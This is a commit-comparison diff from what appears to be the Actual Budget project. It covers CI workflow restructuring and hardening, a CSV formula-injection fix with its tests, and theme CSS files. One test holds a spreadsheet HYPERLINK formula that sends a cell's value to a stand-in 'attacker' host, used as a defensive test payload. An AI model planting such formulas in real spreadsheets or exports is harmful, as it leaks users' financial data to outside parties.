Compare commits
24 Commits
release
...
dependabot
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fc4ea8be7 | ||
|
|
ecfe43fdda | ||
|
|
132b9db11c | ||
|
|
218a3c68dd | ||
|
|
a587ed3ebc | ||
|
|
390ed57c46 | ||
|
|
fee8fbccd1 | ||
|
|
44f1aac59a | ||
|
|
67a439f13f | ||
|
|
28f7770913 | ||
|
|
068185751c | ||
|
|
8f0265e0b0 | ||
|
|
3494f78c94 | ||
|
|
46c350613c | ||
|
|
9b19cd2616 | ||
|
|
1f101077d6 | ||
|
|
62d7c0e479 | ||
|
|
740392941d | ||
|
|
d4528e18ea | ||
|
|
3d47eae87b | ||
|
|
90a1e9bdd3 | ||
|
|
329a7e81e7 | ||
|
|
e8d95fdf6b | ||
|
|
2e0342574f |
1
.github/actions/docs-spelling/expect.txt
vendored
@@ -11,6 +11,7 @@ ANZ
|
||||
aql
|
||||
AUR
|
||||
Authentik
|
||||
autogen
|
||||
AVERAGEA
|
||||
BANKA
|
||||
BANKINTER
|
||||
|
||||
@@ -1,6 +1,17 @@
|
||||
name: Generate release notes
|
||||
description: Generate release documentation from release note files
|
||||
|
||||
inputs:
|
||||
release-branch:
|
||||
description: 'The release/X.Y.Z branch to read release notes from'
|
||||
required: true
|
||||
notes-branch:
|
||||
description: 'The release-notes/X.Y.Z branch to write generated docs to'
|
||||
required: true
|
||||
version:
|
||||
description: 'The release version (e.g. 26.5.0)'
|
||||
required: true
|
||||
|
||||
runs:
|
||||
using: composite
|
||||
steps:
|
||||
@@ -14,4 +25,7 @@ runs:
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
RELEASE_BRANCH: ${{ inputs.release-branch }}
|
||||
NOTES_BRANCH: ${{ inputs.notes-branch }}
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: node packages/ci-actions/bin/release-notes-generate.mjs
|
||||
|
||||
4
.github/actions/setup/action.yml
vendored
@@ -39,8 +39,10 @@ runs:
|
||||
path: ${{ format('{0}/**/node_modules', inputs.working-directory) }}
|
||||
key: yarn-v1-${{ runner.os }}-${{ steps.get-node.outputs.version }}-${{ hashFiles(format('{0}/**/yarn.lock', inputs.working-directory)) }}
|
||||
- name: Ensure Lage cache directory exists
|
||||
run: mkdir -p ${{ format('{0}/.lage', inputs.working-directory) }}
|
||||
run: mkdir -p "$WORKING_DIRECTORY/.lage"
|
||||
shell: bash
|
||||
env:
|
||||
WORKING_DIRECTORY: ${{ inputs.working-directory }}
|
||||
- name: Cache Lage
|
||||
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
|
||||
if: ${{ inputs.cache == 'true' }}
|
||||
|
||||
@@ -9,6 +9,7 @@ jobs:
|
||||
# Only run on PR comments from CodeRabbit bot
|
||||
if: github.event.issue.pull_request && github.event.comment.user.login == 'coderabbitai[bot]'
|
||||
runs-on: ubuntu-latest
|
||||
environment: ai-release-notes
|
||||
timeout-minutes: 10
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
118
.github/workflows/cut-release-branch.yml
vendored
@@ -6,10 +6,6 @@ on:
|
||||
- cron: '0 17 25 * *'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
ref:
|
||||
description: 'Commit or branch to release'
|
||||
required: true
|
||||
default: 'master'
|
||||
version:
|
||||
description: 'Version number for the release (optional)'
|
||||
required: false
|
||||
@@ -31,8 +27,9 @@ jobs:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
ref: ${{ github.event.inputs.ref || 'master' }}
|
||||
persist-credentials: false
|
||||
ref: master
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.ACTIONS_UPDATE_TOKEN }}
|
||||
|
||||
- name: Set up environment
|
||||
uses: ./.github/actions/setup
|
||||
@@ -41,41 +38,25 @@ jobs:
|
||||
cache: 'false'
|
||||
download-translations: 'false'
|
||||
|
||||
- name: Bump package versions
|
||||
id: bump_package_versions
|
||||
- name: Determine target version
|
||||
id: version
|
||||
shell: bash
|
||||
env:
|
||||
INPUT_VERSION: ${{ github.event.inputs.version }}
|
||||
run: |
|
||||
declare -A packages=(
|
||||
[web]="desktop-client"
|
||||
[electron]="desktop-electron"
|
||||
[sync]="sync-server"
|
||||
[api]="api"
|
||||
[cli]="cli"
|
||||
[core]="loot-core"
|
||||
)
|
||||
declare -A new_versions
|
||||
args=(--package-json ./packages/desktop-client/package.json --type auto)
|
||||
if [[ -n "$INPUT_VERSION" ]]; then
|
||||
args+=(--version "$INPUT_VERSION")
|
||||
fi
|
||||
yarn workspace @actual-app/ci-actions tsx bin/get-next-package-version.ts "${args[@]}"
|
||||
|
||||
for key in "${!packages[@]}"; do
|
||||
pkg="${packages[$key]}"
|
||||
|
||||
if [[ -n "$INPUT_VERSION" ]]; then
|
||||
version=$(yarn workspace @actual-app/ci-actions tsx bin/get-next-package-version.ts \
|
||||
--package-json "./packages/$pkg/package.json" \
|
||||
--version "$INPUT_VERSION" \
|
||||
--update)
|
||||
else
|
||||
version=$(yarn workspace @actual-app/ci-actions tsx bin/get-next-package-version.ts \
|
||||
--package-json "./packages/$pkg/package.json" \
|
||||
--type auto \
|
||||
--update)
|
||||
fi
|
||||
|
||||
new_versions[$key]="$version"
|
||||
done
|
||||
|
||||
echo "version=${new_versions[web]}" >> "$GITHUB_OUTPUT"
|
||||
- name: Determine previous tag
|
||||
id: prev_tag
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.ACTIONS_UPDATE_TOKEN || github.token }}
|
||||
run: |
|
||||
prev_tag=$(gh api "repos/${GITHUB_REPOSITORY}/releases/latest" --jq '.tag_name' 2>/dev/null) || prev_tag=""
|
||||
echo "tag=${prev_tag:-master}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Compute release date
|
||||
id: release_date
|
||||
@@ -90,15 +71,72 @@ jobs:
|
||||
echo "date=$(date -d '+1 month' '+%Y-%m-01')" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Create release branch and PR
|
||||
- name: Validate target version
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.ACTIONS_UPDATE_TOKEN }}
|
||||
VERSION: ${{ steps.version.outputs.version }}
|
||||
TYPE: ${{ steps.version.outputs.type }}
|
||||
shell: bash
|
||||
run: |
|
||||
if gh api "repos/${GITHUB_REPOSITORY}/branches/release" --silent >/dev/null 2>&1; then
|
||||
current_version=$(gh api "repos/${GITHUB_REPOSITORY}/contents/packages/desktop-client/package.json?ref=release" --jq '.content' | base64 -d | jq -r .version)
|
||||
latest=$(printf '%s\n%s\n' "$VERSION" "$current_version" | sort -V | tail -1)
|
||||
if [[ "$latest" != "$VERSION" || "$current_version" == "$VERSION" ]]; then
|
||||
echo "::error::Target version $VERSION is not newer than current release version $current_version"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Type: $TYPE (target=$VERSION, current=${current_version:-none})"
|
||||
|
||||
- name: Apply version bumps
|
||||
shell: bash
|
||||
env:
|
||||
VERSION: ${{ steps.version.outputs.version }}
|
||||
run: |
|
||||
for pkg in desktop-client desktop-electron sync-server api cli loot-core; do
|
||||
yarn workspace @actual-app/ci-actions tsx bin/get-next-package-version.ts \
|
||||
--package-json "./packages/$pkg/package.json" \
|
||||
--version "$VERSION" \
|
||||
--update
|
||||
done
|
||||
|
||||
- name: Open release-notes branch and PR
|
||||
uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 # v8.1.1
|
||||
with:
|
||||
token: ${{ secrets.ACTIONS_UPDATE_TOKEN }}
|
||||
commit-message: '🔖 (${{ steps.bump_package_versions.outputs.version }})'
|
||||
title: '🔖 (${{ steps.bump_package_versions.outputs.version }})'
|
||||
commit-message: '🔖 (${{ steps.version.outputs.version }})'
|
||||
title: '🔖 (${{ steps.version.outputs.version }})'
|
||||
body: |
|
||||
Generated by [cut-release-branch.yml](../tree/master/.github/workflows/cut-release-branch.yml)
|
||||
|
||||
Release branch: [`release`](../compare/${{ steps.prev_tag.outputs.tag }}...release)
|
||||
|
||||
<!-- release-date:${{ steps.release_date.outputs.date }} -->
|
||||
branch: 'release/${{ steps.bump_package_versions.outputs.version }}'
|
||||
branch: 'release-notes/${{ steps.version.outputs.version }}'
|
||||
base: master
|
||||
|
||||
- name: Update release branch
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.ACTIONS_UPDATE_TOKEN }}
|
||||
VERSION: ${{ steps.version.outputs.version }}
|
||||
TYPE: ${{ steps.version.outputs.type }}
|
||||
shell: bash
|
||||
run: |
|
||||
git config user.name 'github-actions[bot]'
|
||||
git config user.email '41898282+github-actions[bot]@users.noreply.github.com'
|
||||
|
||||
if gh api "repos/${GITHUB_REPOSITORY}/branches/release" --silent >/dev/null 2>&1; then
|
||||
git fetch origin release
|
||||
git checkout release
|
||||
|
||||
if [[ "$TYPE" == "monthly" ]]; then
|
||||
git fetch origin master
|
||||
git merge --no-edit -X theirs origin/master
|
||||
git diff --exit-code origin/master
|
||||
fi
|
||||
fi
|
||||
|
||||
git fetch origin "release-notes/$VERSION"
|
||||
git cherry-pick FETCH_HEAD
|
||||
git push origin HEAD:refs/heads/release
|
||||
|
||||
1
.github/workflows/docs-spelling.yml
vendored
@@ -146,6 +146,7 @@ jobs:
|
||||
pull-requests: write
|
||||
actions: read
|
||||
runs-on: ubuntu-latest
|
||||
environment: docs-spelling
|
||||
if: ${{
|
||||
github.event_name == 'issue_comment' &&
|
||||
github.event.issue.pull_request &&
|
||||
|
||||
29
.github/workflows/electron-master.yml
vendored
@@ -100,10 +100,11 @@ jobs:
|
||||
path: |
|
||||
packages/desktop-electron/dist/*.appx
|
||||
- name: Add to new release
|
||||
uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2.6.1
|
||||
with:
|
||||
draft: true
|
||||
body: |
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GH_REPO: ${{ github.repository }}
|
||||
TAG: ${{ github.ref_name }}
|
||||
RELEASE_NOTES: |
|
||||
:link: [View release notes](https://actualbudget.org/blog/release-${{ steps.process_version.outputs.version }})
|
||||
|
||||
## Desktop releases
|
||||
@@ -114,13 +115,27 @@ jobs:
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAAAAACw=" width="12" height="1" alt="" />
|
||||
<a href="https://flathub.org/apps/com.actualbudget.actual"><img width="165" style="margin-left:12px;" alt="Get it on Flathub" src="https://flathub.org/api/badge?locale=en" /></a>
|
||||
</p>
|
||||
files: |
|
||||
run: |
|
||||
# The matrix runs three OS jobs in parallel against one release;
|
||||
# only ignore the "already exists" error that the race losers hit.
|
||||
if ! create_output=$(gh release create "$TAG" --draft --title "$TAG" --notes "$RELEASE_NOTES" 2>&1); then
|
||||
if [[ "$create_output" != *already_exists* ]]; then
|
||||
echo "$create_output" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
shopt -s extglob nullglob
|
||||
files=(
|
||||
packages/desktop-electron/dist/*.dmg
|
||||
packages/desktop-electron/dist/*.exe
|
||||
!packages/desktop-electron/dist/Actual-windows.exe
|
||||
packages/desktop-electron/dist/!(Actual-windows).exe
|
||||
packages/desktop-electron/dist/*.AppImage
|
||||
packages/desktop-electron/dist/*.flatpak
|
||||
packages/desktop-electron/dist/*.appx
|
||||
)
|
||||
if [ ${#files[@]} -gt 0 ]; then
|
||||
gh release upload "$TAG" --clobber "${files[@]}"
|
||||
fi
|
||||
|
||||
outputs:
|
||||
version: ${{ steps.process_version.outputs.version }}
|
||||
|
||||
@@ -12,6 +12,7 @@ permissions:
|
||||
jobs:
|
||||
extract-and-upload-i18n-strings:
|
||||
runs-on: ubuntu-latest
|
||||
environment: i18n
|
||||
if: github.repository == 'actualbudget/actual'
|
||||
steps:
|
||||
- name: Check out main repository
|
||||
|
||||
@@ -11,21 +11,21 @@ jobs:
|
||||
needs-votes:
|
||||
if: ${{ github.event.label.name == 'feature' }}
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GH_REPO: ${{ github.repository }}
|
||||
ISSUE_NUMBER: ${{ github.event.issue.number }}
|
||||
steps:
|
||||
- uses: actions-ecosystem/action-add-labels@bd52874380e3909a1ac983768df6976535ece7f8 # v1.1.0
|
||||
with:
|
||||
labels: needs votes
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Add needs votes label
|
||||
run: gh issue edit "$ISSUE_NUMBER" --add-label "needs votes"
|
||||
- name: Add reactions
|
||||
uses: aidan-mundy/react-to-issue@109392cac5159c2df6c47c8ab3b5d6b708852fe5 # v1.1.2
|
||||
with:
|
||||
issue-number: ${{ github.event.issue.number }}
|
||||
reactions: '+1'
|
||||
- name: Create comment
|
||||
uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0
|
||||
with:
|
||||
issue-number: ${{ github.event.issue.number }}
|
||||
body: |
|
||||
env:
|
||||
COMMENT_BODY: |
|
||||
:sparkles: Thanks for sharing your idea! :sparkles:
|
||||
|
||||
This repository uses a voting-based system for feature requests. While enhancement issues are automatically closed, we still welcome feature requests! The voting system helps us gauge community interest in potential features. We also encourage community contributions for any feature requests marked as needing votes (just post a comment first so we can help guide you toward a successful contribution).
|
||||
@@ -35,7 +35,6 @@ jobs:
|
||||
Don't forget to upvote the top comment with 👍!
|
||||
|
||||
<!-- feature-auto-close-comment -->
|
||||
run: gh issue comment "$ISSUE_NUMBER" --body "$COMMENT_BODY"
|
||||
- name: Close Issue
|
||||
run: gh issue close "https://github.com/actualbudget/actual/issues/${{ github.event.issue.number }}"
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: gh issue close "$ISSUE_NUMBER"
|
||||
|
||||
45
.github/workflows/release-notes.yml
vendored
@@ -2,6 +2,9 @@ name: Release notes
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
push:
|
||||
branches:
|
||||
- release
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
@@ -12,8 +15,13 @@ concurrency:
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
release-notes:
|
||||
check-release-notes:
|
||||
if: >-
|
||||
github.event_name == 'pull_request'
|
||||
&& github.head_ref != 'release'
|
||||
&& startsWith(github.head_ref, 'release-notes/') == false
|
||||
runs-on: ubuntu-latest
|
||||
environment: pr-automation
|
||||
steps:
|
||||
- name: Check if triggered by bot
|
||||
id: bot-check
|
||||
@@ -36,9 +44,7 @@ jobs:
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.ACTIONS_UPDATE_TOKEN || github.token }}
|
||||
# Need to be able to commit release notes after generation
|
||||
persist-credentials: true
|
||||
persist-credentials: false
|
||||
|
||||
- name: Get changed files
|
||||
if: steps.bot-check.outputs.skip != 'true'
|
||||
@@ -58,13 +64,34 @@ jobs:
|
||||
- name: Check release notes
|
||||
if: >-
|
||||
steps.bot-check.outputs.skip != 'true'
|
||||
&& startsWith(github.head_ref, 'release/') == false
|
||||
&& steps.changed-files.outputs.only_docs != 'true'
|
||||
uses: ./.github/actions/release-notes/check
|
||||
|
||||
generate-release-notes:
|
||||
if: github.event_name == 'push'
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
steps:
|
||||
- name: Resolve version
|
||||
id: version
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.ACTIONS_UPDATE_TOKEN || github.token }}
|
||||
run: |
|
||||
version=$(gh api "repos/${GITHUB_REPOSITORY}/contents/packages/desktop-client/package.json?ref=release" --jq '.content' | base64 -d | jq -r .version)
|
||||
echo "version=$version" >> "$GITHUB_OUTPUT"
|
||||
echo "notes_branch=release-notes/$version" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Checkout release-notes branch
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
ref: ${{ steps.version.outputs.notes_branch }}
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.ACTIONS_UPDATE_TOKEN || github.token }}
|
||||
persist-credentials: true
|
||||
|
||||
- name: Generate release notes
|
||||
if: >-
|
||||
steps.bot-check.outputs.skip != 'true'
|
||||
&& startsWith(github.head_ref, 'release/') == true
|
||||
&& github.event.pull_request.head.repo.full_name == github.event.pull_request.base.repo.full_name
|
||||
uses: ./.github/actions/release-notes/generate
|
||||
with:
|
||||
release-branch: release
|
||||
notes-branch: ${{ steps.version.outputs.notes_branch }}
|
||||
version: ${{ steps.version.outputs.version }}
|
||||
|
||||
1
.github/workflows/vrt-update-apply.yml
vendored
@@ -16,6 +16,7 @@ jobs:
|
||||
apply-vrt-updates:
|
||||
name: Apply VRT Updates
|
||||
runs-on: ubuntu-latest
|
||||
environment: pr-automation
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' }}
|
||||
steps:
|
||||
- name: Download patch artifact
|
||||
|
||||
@@ -80,6 +80,18 @@ try {
|
||||
|
||||
process.stdout.write(newVersion);
|
||||
|
||||
if (process.env.GITHUB_OUTPUT) {
|
||||
const resolvedType = newVersion.includes('-nightly.')
|
||||
? 'nightly'
|
||||
: newVersion.split('.')[2] === '0'
|
||||
? 'monthly'
|
||||
: 'hotfix';
|
||||
fs.appendFileSync(
|
||||
process.env.GITHUB_OUTPUT,
|
||||
`version=${newVersion}\ntype=${resolvedType}\n`,
|
||||
);
|
||||
}
|
||||
|
||||
if (values.update) {
|
||||
packageJson.version = newVersion;
|
||||
fs.writeFileSync(
|
||||
|
||||
@@ -15,6 +15,16 @@ const exec = promisify(childProcess.exec);
|
||||
|
||||
const [owner, repo] = process.env.GITHUB_REPOSITORY.split('/');
|
||||
|
||||
const releaseBranch = process.env.RELEASE_BRANCH;
|
||||
const notesBranch = process.env.NOTES_BRANCH;
|
||||
const version = process.env.VERSION;
|
||||
|
||||
if (!releaseBranch || !notesBranch || !version) {
|
||||
throw new Error(
|
||||
'RELEASE_BRANCH, NOTES_BRANCH, and VERSION env vars are required',
|
||||
);
|
||||
}
|
||||
|
||||
const apiResult = await fetch('https://api.github.com/graphql', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
@@ -44,24 +54,38 @@ const apiResult = await fetch('https://api.github.com/graphql', {
|
||||
variables: {
|
||||
name: repo,
|
||||
owner,
|
||||
headRefName: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
|
||||
headRefName: notesBranch,
|
||||
},
|
||||
}),
|
||||
}).then(res => res.json());
|
||||
|
||||
await collapsedLog('API Response', apiResult);
|
||||
|
||||
const prData = apiResult.data.repository.pullRequests.edges[0].node;
|
||||
|
||||
const version = prData.headRefName.split('/')[1].replace(/^v/, '');
|
||||
const slug = version.replace(/\./g, '-');
|
||||
const author = process.env.GITHUB_ACTOR || 'TODO';
|
||||
const commitMessage = `Generate release notes for v${version}`;
|
||||
const prData = apiResult.data.repository.pullRequests.edges[0]?.node;
|
||||
if (!prData) {
|
||||
console.error(`No PR found for branch ${notesBranch}`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const releaseDateMatch = (prData.body || '').match(
|
||||
/<!-- release-date:(\d{4}-\d{2}-\d{2}) -->/,
|
||||
);
|
||||
const releaseDate = releaseDateMatch ? releaseDateMatch[1] : 'TODO';
|
||||
if (!releaseDateMatch) {
|
||||
console.error(
|
||||
`PR for ${notesBranch} body missing <!-- release-date:YYYY-MM-DD --> marker`,
|
||||
);
|
||||
process.exit(1);
|
||||
}
|
||||
const releaseDate = releaseDateMatch[1];
|
||||
|
||||
const author = process.env.GITHUB_ACTOR;
|
||||
if (!author) {
|
||||
console.error('::error::GITHUB_ACTOR env var is not set');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const slug = version.replace(/\./g, '-');
|
||||
const commitMessage = `Generate release notes for v${version}`;
|
||||
|
||||
const botName = 'github-actions[bot]';
|
||||
const botEmail = '41898282+github-actions[bot]@users.noreply.github.com';
|
||||
@@ -72,17 +96,8 @@ await exec(`git config user.email '${botEmail}'`);
|
||||
const AUTOGEN_MARKER = '<!-- release-notes:auto-generated -->';
|
||||
|
||||
await group('Prepare branch', async () => {
|
||||
if (process.env.GITHUB_HEAD_REF) {
|
||||
await exec(`git fetch origin ${process.env.GITHUB_HEAD_REF}`, {
|
||||
stdio: 'inherit',
|
||||
});
|
||||
await exec(`git checkout ${process.env.GITHUB_HEAD_REF}`, {
|
||||
stdio: 'inherit',
|
||||
});
|
||||
}
|
||||
|
||||
// recover deleted release note files from previous generation commits
|
||||
const baseRef = process.env.GITHUB_BASE_REF || 'master';
|
||||
const baseRef = 'master';
|
||||
await exec(`git fetch origin ${baseRef}`, { stdio: 'inherit' });
|
||||
const { stdout: mergeBase } = await exec(
|
||||
`git merge-base HEAD origin/${baseRef}`,
|
||||
@@ -110,6 +125,11 @@ await group('Prepare branch', async () => {
|
||||
await fs.unlink(patchPath).catch(() => undefined);
|
||||
}
|
||||
}
|
||||
|
||||
await exec(`git fetch origin ${releaseBranch}`, { stdio: 'inherit' });
|
||||
await exec(`git checkout origin/${releaseBranch} -- upcoming-release-notes`, {
|
||||
stdio: 'inherit',
|
||||
});
|
||||
});
|
||||
|
||||
const { notesByCategory, files } = await parseReleaseNotes(
|
||||
|
||||
@@ -154,6 +154,50 @@ describe('formatOutput', () => {
|
||||
expect(result).toContain('166500');
|
||||
expect(result).not.toContain('1665.00');
|
||||
});
|
||||
|
||||
describe('formula-injection neutralization', () => {
|
||||
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
|
||||
'prefixes a leading %j with a single quote',
|
||||
payload => {
|
||||
const data = [{ val: payload }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe(`val\n'${payload}`);
|
||||
},
|
||||
);
|
||||
|
||||
it('prefixes and quotes a leading carriage return', () => {
|
||||
const data = [{ val: '\rHELLO' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"\'\rHELLO"');
|
||||
});
|
||||
|
||||
it('quotes values containing a carriage return mid-string', () => {
|
||||
const data = [{ val: 'line1\rline2' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\n"line1\rline2"');
|
||||
});
|
||||
|
||||
it('neutralizes formula triggers even when the value also needs quoting', () => {
|
||||
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
const lines = result.split('\n');
|
||||
expect(lines[1]).toBe(
|
||||
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
|
||||
);
|
||||
});
|
||||
|
||||
it('does not neutralize trigger characters that appear mid-string', () => {
|
||||
const data = [{ val: 'a+b' }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('val\na+b');
|
||||
});
|
||||
|
||||
it('does not prefix negative amount values', () => {
|
||||
const data = [{ amount: -2500 }];
|
||||
const result = formatOutput(data, 'csv');
|
||||
expect(result).toBe('amount\n-25.00');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
|
||||
if (data && typeof data === 'object') {
|
||||
const entries = Object.entries(data);
|
||||
const header = entries.map(([k]) => escapeCsv(k)).join(',');
|
||||
const values = entries
|
||||
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
|
||||
.join(',');
|
||||
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
|
||||
return header + '\n' + values;
|
||||
}
|
||||
return String(data);
|
||||
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
|
||||
const header = keys.map(k => escapeCsv(k)).join(',');
|
||||
const rows = data.map(row => {
|
||||
const r = row as Record<string, unknown>;
|
||||
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
|
||||
return keys.map(k => formatCsvCell(k, r[k])).join(',');
|
||||
});
|
||||
|
||||
return [header, ...rows].join('\n');
|
||||
}
|
||||
|
||||
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
|
||||
|
||||
function formatCsvCell(key: string, value: unknown): string {
|
||||
let formatted = formatCellValue(key, value);
|
||||
// Skip neutralization for numeric values so legitimate negative amounts
|
||||
// like "-25.00" aren't quoted as text.
|
||||
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
|
||||
formatted = "'" + formatted;
|
||||
}
|
||||
return escapeCsv(formatted);
|
||||
}
|
||||
|
||||
function escapeCsv(value: string): string {
|
||||
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
|
||||
if (
|
||||
value.includes(',') ||
|
||||
value.includes('"') ||
|
||||
value.includes('\n') ||
|
||||
value.includes('\r')
|
||||
) {
|
||||
return '"' + value.replace(/"/g, '""') + '"';
|
||||
}
|
||||
return value;
|
||||
|
||||
@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
|
||||
|
||||
import type { Preview } from '@storybook/react-vite';
|
||||
|
||||
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
|
||||
// TODO: this needs refactoring
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as lightTheme from '../../desktop-client/src/style/themes/light';
|
||||
// oxlint-disable-next-line actual/enforce-boundaries
|
||||
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
|
||||
import darkThemeCss from '../src/themes/dark.css?inline';
|
||||
import lightThemeCss from '../src/themes/light.css?inline';
|
||||
import midnightThemeCss from '../src/themes/midnight.css?inline';
|
||||
import paletteCss from '../src/themes/palette.css?inline';
|
||||
|
||||
const THEMES = {
|
||||
light: lightTheme,
|
||||
dark: darkTheme,
|
||||
midnight: midnightTheme,
|
||||
light: lightThemeCss,
|
||||
dark: darkThemeCss,
|
||||
midnight: midnightThemeCss,
|
||||
} as const;
|
||||
|
||||
type ThemeName = keyof typeof THEMES;
|
||||
@@ -30,13 +26,10 @@ const ThemedStory = ({
|
||||
throw new Error(`No theme specified`);
|
||||
}
|
||||
|
||||
const css = Object.entries(THEMES[themeName])
|
||||
.map(([key, value]) => `--color-${key}: ${value};`)
|
||||
.join('\n');
|
||||
|
||||
return (
|
||||
<div>
|
||||
<style>{`:root {\n${css}}`}</style>
|
||||
<style>{paletteCss}</style>
|
||||
<style>{THEMES[themeName]}</style>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -31,6 +31,10 @@
|
||||
"./text": "./src/Text.tsx",
|
||||
"./text-one-line": "./src/TextOneLine.tsx",
|
||||
"./theme": "./src/theme.ts",
|
||||
"./themes/palette.css": "./src/themes/palette.css",
|
||||
"./themes/light.css": "./src/themes/light.css",
|
||||
"./themes/dark.css": "./src/themes/dark.css",
|
||||
"./themes/midnight.css": "./src/themes/midnight.css",
|
||||
"./tokens": "./src/tokens.ts",
|
||||
"./toggle": "./src/Toggle.tsx",
|
||||
"./tooltip": "./src/Tooltip.tsx",
|
||||
|
||||
250
packages/component-library/src/themes/dark.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray900);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray800);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple400);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-navy150);
|
||||
--color-pageText: var(--palette-navy150);
|
||||
--color-pageTextLight: var(--palette-navy300);
|
||||
--color-pageTextSubdued: var(--palette-navy500);
|
||||
--color-pageTextDark: var(--palette-navy100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple400);
|
||||
--color-pageTextLinkLight: var(--palette-purple200);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple400);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-navy800);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy700);
|
||||
--color-tableText: var(--palette-navy150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-navy500);
|
||||
--color-tableTextSelected: var(--palette-navy150);
|
||||
--color-tableTextHover: var(--palette-navy400);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy300);
|
||||
--color-tableHeaderBackground: var(--palette-navy700);
|
||||
--color-tableBorder: var(--palette-navy600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple800);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy700);
|
||||
--color-tableRowHeaderText: var(--palette-navy150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-navy500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
